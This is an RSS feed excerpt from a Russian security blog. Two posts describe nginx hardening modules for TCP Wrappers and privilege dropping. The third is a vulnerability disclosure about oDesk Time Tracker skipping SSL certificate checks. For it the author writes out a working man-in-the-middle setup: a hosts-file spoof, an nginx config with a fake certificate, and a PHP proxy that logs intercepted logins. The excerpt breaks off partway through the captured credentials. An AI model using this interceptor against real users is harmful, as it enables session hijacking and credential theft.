<p>К сожалению, nginx не поддерживает TCP Wrappers из коробки. К счастью, это можно исправить.<span id="more-654"></span></p>
<p>Заказчик, для которого писался данный модуль, не возражал против выкладывания исходного кода модуля в общий доступ, чем я и воспользовался.</p>
<p>Прежде, чем перейти непосредственно к модулю, отмечу, что у TCP Wrappers есть несколько особенностей дизайна, о которых нужно знать:</p>
<ul>
<li>самое большое моё разочарование заключается в том, что <code>libwrap</code> (библиотека, реализующая функциональность TCP Wrappers) не является библиотекой с потоковой безопасностью (thread safety). Иными словами, если два потока одновременно обратятся к <code>libwrap</code>, результат может получиться весьма странным. Это связано с тем, что <code>libwrap</code> использует нереентера́бельные (какое слово! но по-английски звучит лучше) функции, например, <span class="codebox"><code class="c">strtok<span class="br0">&#40;</span><span class="br0">&#41;</span></code></span>, <span class="codebox"><code class="c">gethostbyname<span class="br0">&#40;</span><span class="br0">&#41;</span></code></span>, <span class="codebox"><code class="c">gethostbyaddr<span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> и т.п. Если nginx собран с поддержкой многопоточности, то на нагруженных серверах использование <code>libwrap</code> может привести к потерям производительности (из-за того, что доступ к функциям <code>libwrap</code> должен быть последовательным — приходится использовать мьютекс). Если же nginx собирался без поддержки многопоточности (как, например, в Linux), то такая проблема не возникает;</li>
<li>динамическая конфигурация списков контроля доступа имеет свою цену: при каждом запросе будут читаться и разбираться файлы <code>/etc/hosts.allow</code> и <code>/etc/hosts.deny</code>, что на высоконагруженных серверах может быть неприемлемо.</li>
</ul>
<h3>Сборка модуля</h3>
<p>Переходим непосредственно к модулю. Так как nginx не поддерживает динамические модули, nginx придётся пересобирать из исходного кода. Предполагая, что исходный код nginx находится в <code>~/nginx</code>, исходный код модуля ngx_tcpwrappers — в <code>~/nginx/ngx_tcpwrappers</code>, выглядеть это всё будет примерно так:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p65438">
        <div class="code bash" id="p654code38">
<span class="kw3">cd</span> ~<span class="sy0">/</span>nginx<br />
.<span class="sy0">/</span>configure \<br />
&nbsp; &nbsp; <span class="re5">--conf-path</span>=<span class="sy0">/</span>etc<span class="sy0">/</span>nginx<span class="sy0">/</span>nginx.conf \<br />
&nbsp; &nbsp; <span class="re5">--error-log-path</span>=<span class="sy0">/</span>var<span class="sy0">/</span>log<span class="sy0">/</span>nginx<span class="sy0">/</span>error.log \<br />
&nbsp; &nbsp; <span class="co0"># здесь идут остальные параметры, передаваемые configure \</span><br />
&nbsp; &nbsp; <span class="re5">--add-module</span>=.<span class="sy0">/</span>ngx_tcpwrappers<br />
<span class="kw2">make</span><br />
<span class="kw2">sudo</span> <span class="kw2">make</span> <span class="kw2">install</span>
        </div>
    </div>
</div>

<h3>Конфигурация модуля</h3>
<p>Директивы конфигурации:</p>
<ul>
<li><a href="#tcpwrappers"><code>tcpwrappers</code></a></li>
<li><a href="#tcpwrappers_daemon"><code>tcpwrappers_daemon</code></a></li>
<li><a href="#tcpwrappers_thorough"><code>tcpwrappers_thorough</code></a></li>
</ul>
<hr/>
<div id="tcpwrappers"></div>
<p><strong>Синтаксис:</strong> <code>tcpwrappers [on|off]</code><br />
<strong>По умолчанию:</strong> <code>tcpwrappers off</code><br />
<strong>Контекст:</strong> <code>http</code>, <code>server</code>, <code>location</code>, <code>limit_except</code><br />
<strong>Описание:</strong> данная директива разрешает либо запрещает использование TCP Wrappers для контроля доступа к ресурсу. <code>tcpwrappers off</code> полностью отключает использование TCP Wrappers, что позволяет избежать потерь производительности.</p>
<hr/>
<div id="tcpwrappers_daemon"></div>
<p><strong>Синтаксис:</strong> <code>tcpwrappers_daemon name</code><br />
<strong>По умолчанию:</strong> <code>tcpwrappers_daemon nginx</code><br />
<strong>Контекст:</strong> <code>http</code>, <code>server</code>, <code>location</code>, <code>limit_except</code><br />
<strong>Описание:</strong> данная директива позволяет задать имя демона, которое используется в файлах <code>/etc/hosts.{allow,deny}</code> для идентификации процесса.</p>
<hr/>
<div id="tcpwrappers_thorough"></div>
<p><strong>Синтаксис:</strong> <code>tcpwrappers_thorough [on|off]</code><br />
<strong>По умолчанию:</strong> <code>tcpwrappers_thorough off</code><br />
<strong>Контекст:</strong> <code>http</code>, <code>server</code>, <code>location</code>, <code>limit_except</code><br />
<strong>Описание:</strong> данная директива управляет тщательностью проверки клиента.</p>
<p>При <code>tcpwrappers_thorough off</code> используется функция <a href="http://linux.die.net/man/3/hosts_access"><code>hosts_ctl(3)</code></a>; контроль осуществляется исключительно по IP-адресу клиента (в том плане, что <code>libwrap</code> передаётся только IP-адрес).</p>
<p>При <code>tcpwrappers_thorough on</code> используется функция <a href="http://linux.die.net/man/3/hosts_access"><code>hosts_access(3)</code></a>; контроль может осуществляться по адресу и имени клиента и сервера. Данная проверка является более тщательной, но имеет свою цену: необходимость выполнения DNS-запросов для получения имени клиента и сервера.</p>
<hr/>
<h3>Исходный код</h3>
<p><strong><a href='http://bazaar.launchpad.net/~sjinks/ngx-tcpwrappers/trunk/files'>Исходный код модуля ngx_tcpwrappers</a></strong></p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/654-tcpwrappers-support-for-nginx/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/648-ngx_drop_privs-minimum-privilege-principle-nginx/" title="ngx_drop_privs: принцип минимальных привилегий в nginx (Сентябрь 23, 2009)">ngx_drop_privs: принцип минимальных привилегий в nginx</a> (3)</li>
	<li><a href="http://blog.sjinks.pro/security/717-say-no-to-intruder-part-2/" title="Скажи «Нет!» взломщику: часть 2 (Декабрь 8, 2009)">Скажи «Нет!» взломщику: часть 2</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/194-say-no-to-intruder/" title="Скажи «Нет!» взломщику (Июнь 14, 2008)">Скажи «Нет!» взломщику</a> (15)</li>
	<li><a href="http://blog.sjinks.pro/openmp/527-to-parallelize-or-not-to-parallelize/" title="Распараллеливать или не распараллеливать — вот в чём вопрос (Апрель 10, 2009)">Распараллеливать или не распараллеливать — вот в чём вопрос</a> (1)</li>
	<li><a href="http://blog.sjinks.pro/administring/700-apparmor-profile-for-nginx/" title="Профиль AppArmor для nginx (Ноябрь 21, 2009)">Профиль AppArmor для nginx</a> (4)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/654-tcpwrappers-support-for-nginx/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ngx_drop_privs: принцип минимальных привилегий в nginx</title>
		<link>http://blog.sjinks.pro/security/648-ngx_drop_privs-minimum-privilege-principle-nginx/</link>
		<comments>http://blog.sjinks.pro/security/648-ngx_drop_privs-minimum-privilege-principle-nginx/#comments</comments>
		<pubDate>Wed, 23 Sep 2009 02:35:11 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[ngx_drop_privs]]></category>
		<category><![CDATA[безопасность]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=648</guid>
		<description><![CDATA[Забираем у nginx лишние привилегии nginx — замечательный web-сервер, но, как и практически любой программный продукт, не свободен от ошибок, временами весьма критических. Архитектура nginx такова, что обычно имеется один привилегированный процесс (запускаемый от всемогущего root) и один или более рабочих процессов (обычно работающих от имени непривилегированного пользователя). Тем не менее, я видел конфигурации, в которых все [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/648-ngx_drop_privs-minimum-privilege-principle-nginx/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Забираем у nginx лишние привилегии</em></h2>
<p>nginx — замечательный web-сервер, но, как и практически любой программный продукт, не свободен от ошибок, временами весьма <a href="http://www.kb.cert.org/vuls/id/180065">критических</a>.</p>
<p>Архитектура nginx такова, что обычно имеется один привилегированный процесс (запускаемый от всемогущего <code>root</code>) и один или более рабочих процессов (обычно работающих от имени непривилегированного пользователя). Тем не менее, я видел конфигурации, в которых все процессы nginx работают под привилегированным пользователем. Один из примеров — многопользовательский сервер, Document Root сайтов на котором имеет права вида 0700 (запускать несколько nginx и настраивать проксирование — тоже не лучший выход).</p>
<p>Кроме того, за последние неполные пять лет в nginx найдено 112 ошибок (segmentation fault), некоторые из которых теоретически могут дать возможность выполнения произвольного кода в системе (<span class="codebox"><code class="bash"><span class="kw2">wget</span> http:<span class="sy0">//</span>sysoev.ru<span class="sy0">/</span>nginx<span class="sy0">/</span>changes.html <span class="re5">-q</span> <span class="re5">-O</span> - <span class="sy0">|</span> <span class="kw2">grep</span> segmentation <span class="sy0">|</span> <span class="kw2">wc</span> <span class="re5">-l</span></code></span>).</p>
<p>Я не знаю, все ли ошибки затрагивали только рабочие процессы, либо были ошибки в главном процессе — рисковать не хочется. Так и родилась идея написать модуль для nginx — <code><a href="http://blog.sjinks.pro/tag/ngx_drop_privs/" class="st_tag internal_tag" rel="tag" title="Posts tagged with ngx_drop_privs">ngx_drop_privs</a></code>.<span id="more-648"></span></p>
<p>Данный модуль будет работать, скорее всего, только под Linux, при этом для работы требуется наличие библиотеки <code>libcap</code> и ядра, собранного с поддержкой capabilities (я давно не видел ядра без такой поддержки).</p>
<p>Идея заключается в том, что процессу, который порождает потомков, меняет их UID/GID и периодически меняет владельца log-файлов, привилегий <code>root</code> слишком <a href="http://linux.die.net/man/7/capabilities">много</a>. Вполне достаточно <code>CAP_SETUID</code>, <code>CAP_SETGID</code> и <code>CAP_CHOWN</code> (если нужна ротация логов).</p>
<p><code>CAP_CHOWN</code> — весьма опасная возможность, и если есть возможность её не давать, лучше её не давать <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Модуль при инициализации проверяет, запущен ли главный процесс от имени <code>root</code>. Если да, то <code>capabilities</code> сбрасываются на указанные в директиве <code>dropprivs_set_caps</code>.</p>
<p>Директива <code>dropprivs_set_caps</code> является глобальной (как, например, <code>daemon</code>, <code>user</code> и <code>pid</code>) и имеет формат</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p64843">
        <div class="code nginx" id="p648code43">
dropprivs_set_caps <span class="st0">&quot;строка&quot;</span>;
        </div>
    </div>
</div>

<p>где <code>строка</code> — привилегии в формате, который понимает функция <a href="http://linux.die.net/man/3/cap_from_text"><code>cap_from_text()</code></a>. Никто не говорил, что будет легко.</p>
<p>На своей тестовой машине я использую такое значение:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p64844">
        <div class="code nginx" id="p648code44">
dropprivs_set_caps <span class="st0">&quot;cap_setuid,cap_setgid=ep&quot;</span>;
        </div>
    </div>
</div>

<p>Это равносильно сбросу всех привилегий и установке <code>CAP_SETUID</code> и <code>CAP_SETGID</code> в действующем (<strong>e</strong>ffective) и разрешённом (<strong>p</strong>ermitted) наборе привилегий.</p>
<p>Те, кому это всё интересно, могут <strong><a href="http://d.sjinks.pro/ngx_drop_privs.tar.bz2">скачать исходный код модуля <code>ngx_drop_privs</code></a></strong>. Код пока ещё сыроват (да, написан за полтора часа этой ночью) и будет совершенствоваться. Любые предложения/патчи are always welcome. <del datetime="2010-02-16T02:47:48+00:00">Планируется поддержка <code>chroot</code>, что позволит меньше беспокоиться о <code>CAP_CHOWN</code> и <code>CAP_SETUID</code>.</del></p>
<p><strong>UPDATE 16.02.2010:</strong> добавлена экспериментальная поддержка <code>chroot</code>. Реализуется глобальной директивой </p>
          
<div class="codebox">
    <div class="the_code" style="" id="p64845">
        <div class="code nginx" id="p648code45">
dropprivs_chroot <span class="st0">&quot;каталог&quot;</span>;
        </div>
    </div>
</div>

<p>Выполняется <span class="codebox"><code class="c">chroot<span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> <strong>до</strong> сброса привилегий, поэтому явным образом указывать <code>CAP_SYS_CHROOT</code> в списке разрешённых привилегий не нужно (и вообще не рекомендуется). Перед вызовом <span class="codebox"><code class="c">chroot<span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> выполняется <span class="codebox"><code class="c">chdir<span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> в указанный каталог, поэтому если привилегии настроены нормально, покинуть <code>chroot</code> демон не сможет. Тем не менее, это накладывает свои ограничения:</p>
<ul>
<li>пути в виртуальных хостах должны быть относительны нового корня;</li>
<li>в новом корне должен существовать как минимум <code>/dev/zero</code>;</li>
<li>PID-файл создаётся относительно нового корня;</li>
<li>что происходит с лог-файлами, пока сказать не могу, но есть подозрение что ротация логов без танцев с бубном работать не будет.</li>
</ul>
<p><strong>Сборка модуля:</strong></p>
          
<div class="codebox">
    <div class="the_code" style="" id="p64846">
        <div class="code bash" id="p648code46">
<span class="kw3">cd</span> <span class="sy0">/</span>path<span class="sy0">/</span>to<span class="sy0">/</span>nginx<span class="sy0">/</span><span class="kw3">source</span><br />
.<span class="sy0">/</span>configure \ <span class="co0"># Здесь идут обычные опции configure</span><br />
&nbsp; &nbsp; <span class="re5">--add-module</span>=<span class="sy0">/</span>path<span class="sy0">/</span>to<span class="sy0">/</span>ngx_drop_privs<br />
<span class="kw2">make</span>
        </div>
    </div>
</div>

<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/648-ngx_drop_privs-minimum-privilege-principle-nginx/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/654-tcpwrappers-support-for-nginx/" title="Модуль поддержки tcpwrappers для nginx (Октябрь 10, 2009)">Модуль поддержки tcpwrappers для nginx</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/717-say-no-to-intruder-part-2/" title="Скажи «Нет!» взломщику: часть 2 (Декабрь 8, 2009)">Скажи «Нет!» взломщику: часть 2</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/194-say-no-to-intruder/" title="Скажи «Нет!» взломщику (Июнь 14, 2008)">Скажи «Нет!» взломщику</a> (15)</li>
	<li><a href="http://blog.sjinks.pro/openmp/527-to-parallelize-or-not-to-parallelize/" title="Распараллеливать или не распараллеливать — вот в чём вопрос (Апрель 10, 2009)">Распараллеливать или не распараллеливать — вот в чём вопрос</a> (1)</li>
	<li><a href="http://blog.sjinks.pro/administring/700-apparmor-profile-for-nginx/" title="Профиль AppArmor для nginx (Ноябрь 21, 2009)">Профиль AppArmor для nginx</a> (4)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/648-ngx_drop_privs-minimum-privilege-principle-nginx/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>oDesk Time Tracker Vulnerabilities</title>
		<link>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/</link>
		<comments>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 17:42:33 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[MITM]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[oDesk]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[спуфинг]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=581</guid>
		<description><![CDATA[When SSL is not enough oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>When SSL is not enough</em></h2>
<ol>
<li>oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-Middle attacks</a> (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is <a href="http://www.securesphere.net/download/papers/dnsspoof.htm">doable</a>).<span id="more-581"></span>
<p>To imitate the DNS spoofing we will need to edit <code>/etc/hosts</code> file:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p58151">
        <div class="code text" id="p581code51">
127.0.0.1 team.odesk.com
        </div>
    </div>
</div>

<p>And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the oDesk server) — I used nginx:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p58152">
        <div class="code nginx" id="p581code52">
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">80</span>;<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">access_log</span> &nbsp;/var/log/nginx/team.odesk.com-access.log;<br />
&nbsp; &nbsp; error_log &nbsp;/var/log/nginx/team.odesk.com-error.log;<br />
<br />
&nbsp; &nbsp; <span class="kw1">root</span> /var/www/team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">try_files</span> junk @proxy;<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> @proxy {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> 127.0.0.1:<span class="nu0">8000</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_index</span> <span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /var/www/team.odesk.com/<span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; }<br />
}<br />
<br />
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">443</span>;<br />
&nbsp; &nbsp; <span class="kw1">keepalive_timeout</span> <span class="nu0">70</span>;<br />
<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> &nbsp;default;<br />
&nbsp; &nbsp; <span class="kw1">access_log</span> &nbsp;/var/log/nginx/secure-team.odesk.com-access.log;<br />
&nbsp; &nbsp; error_log &nbsp;/var/log/nginx/secure-team.odesk.com-error.log;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl</span> <span class="kw2">on</span>;<br />
&nbsp; &nbsp; <span class="kw1">ssl_certificate</span> /etc/nginx/certs/fake-cert.crt;<br />
&nbsp; &nbsp; <span class="kw1">ssl_certificate_key</span> /etc/nginx/certs/fake-cert.key;<br />
&nbsp; &nbsp; <span class="kw1">ssl_session_timeout</span> 5m;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl_protocols</span> SSLv3 TLSv1;<br />
&nbsp; &nbsp; <span class="kw1">ssl_ciphers</span> HIGH:MEDIUM;<br />
&nbsp; &nbsp; <span class="kw1">ssl_prefer_server_ciphers</span> <span class="kw2">on</span>;<br />
&nbsp; &nbsp; <span class="kw1">ssl_session_cache</span> shared:SSL:10m;<br />
<br />
&nbsp; &nbsp; <span class="kw1">root</span> /var/www/team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">try_files</span> junk @proxy;<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> @proxy {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> 127.0.0.1:<span class="nu0">8000</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_index</span> <span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /var/www/team.odesk.com/<span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; }<br />
}
        </div>
    </div>
</div>

<p>Nice <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">PHP</a> proxy that logs all communication between the client and server:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p58153">
        <div class="code php" id="p581code53">
<span class="kw2">&lt;?php</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">==</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$ch</span> <span class="sy0">=</span> <span class="kw3">curl_init</span><span class="br0">&#40;</span><span class="st_h">'https://209.128.65.132'</span> <span class="sy0">.</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REQUEST_URI'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span> <span class="sy0">=</span> <span class="re0">$_POST</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">==</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$_FILES</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span> <span class="br0">&#40;</span><span class="re0">$_FILES</span> <span class="kw1">as</span> <span class="re0">$key</span> <span class="sy0">=&gt;</span> <span class="re0">$item</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st_h">'@'</span> <span class="sy0">.</span> <span class="re0">$item</span><span class="br0">&#91;</span><span class="st_h">'tmp_name'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$f</span> <span class="sy0">=</span> <span class="kw3">fopen</span><span class="br0">&#40;</span><span class="kw3">dirname</span><span class="br0">&#40;</span><span class="kw4">__FILE__</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st_h">'/log.txt'</span><span class="sy0">,</span> <span class="st0">&quot;a&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REQUEST_URI'</span><span class="br0">&#93;</span> <span class="sy0">.</span> <span class="st0">&quot;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;&lt;&lt;&lt;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="kw3">print_r</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="sy0">,</span> 1<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;&gt;&gt;&gt;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_POST<span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_POSTFIELDS<span class="sy0">,</span> <span class="re0">$data</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_HTTPHEADER<span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="st_h">'Host: team.odesk.com'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_RETURNTRANSFER<span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_HEADER<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_SSL_VERIFYPEER<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_SSL_VERIFYHOST<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> <span class="sy0">=</span> <span class="kw3">curl_exec</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_close</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="re0">$s</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;---<span class="es1">\n</span><span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fclose</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="re0">$s</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;status=S_OK<span class="es1">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Fraude perit virtus&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>Thus, when a provider logs into his oDesk Account using the tracker, his session gets intercepted and all traffic can be logged:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p58154">
        <div class="code text" id="p581code54">
SERVER: https://209.128.65.132/client/receiver<br />
IN:<br />
Array<br />
(<br />
&nbsp; &nbsp; [version] =&gt; Linux/1.3.4<br />
&nbsp; &nbsp; [status] =&gt; C_NORMAL<br />
&nbsp; &nbsp; [company] =&gt; ics2:ics2<br />
&nbsp; &nbsp; [user] =&gt; vkolesnikov<br />
&nbsp; &nbsp; [password] =&gt; password_goes_here<br />
&nbsp; &nbsp; [uid] =&gt; 5f323dce-ee5c-4347-9074-ed5d356362d4<br />
